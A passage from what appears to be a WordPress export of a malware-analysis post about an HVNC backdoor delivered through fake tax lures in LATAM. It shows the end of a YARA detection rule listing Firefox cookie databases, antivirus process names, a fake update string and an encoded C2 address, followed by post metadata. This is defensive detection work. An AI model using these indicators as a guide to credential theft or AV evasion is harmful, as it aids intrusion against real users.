&#8220;5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3&#8221;<br><br>    strings:<br>        $ff1 = &#8220;cookies.sqlite&#8221; ascii<br>        $ff2 = &#8220;places.sqlite&#8221; ascii<br>        $ff3 = &#8220;permissions.sqlite&#8221; ascii<br><br>        $av1 = &#8220;avastui.exe&#8221; ascii<br>        $av2 = &#8220;bdagent.exe&#8221; ascii<br>        $av3 = &#8220;mcshield.exe&#8221; ascii<br>        $av4 = &#8220;360tray.exe&#8221; ascii<br>        $av5 = &#8220;ekrn.exe&#8221; ascii<br><br>        $ver = &#8220;Windows Update Assistant&#8221; wide<br><br>        \/\/ XOR(0x37)-encoded C2 host &#8220;5.230.249.49&#8221;<br>        $c2cfg = { 02 19 05 04 07 19 05 03 0E 19 03 0E }<br><br>    condition:<br>        uint16(0) == 0x5A4D and<br>        (2 of ($ff*)) and<br>        (3 of ($av*)) and<br>        ($ver or $c2cfg)<br>}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Editor\u2019s note: The analysis is authored by Moises Cerqueira, malware researcher &amp; threat hunter. You can find Moises on LinkedIn and X. Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":23018,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[8],"tags":[57,10,34],"class_list":["post-22995","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-malware-analysis","tag-anyrun","tag-cybersecurity","tag-malware-analysis"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HVNC Backdoor Targets LATAM Organizations with Fake Tax Lures<\/title>\n<meta name=\"description\" content=\"An HVNC campaign uses fake tax documents and DocuSign lures to target LATAM organizations, enabling hidden remote access, persistence, and data theft.\" \/>\n<meta name=\"robots\" content=\"index, follow, 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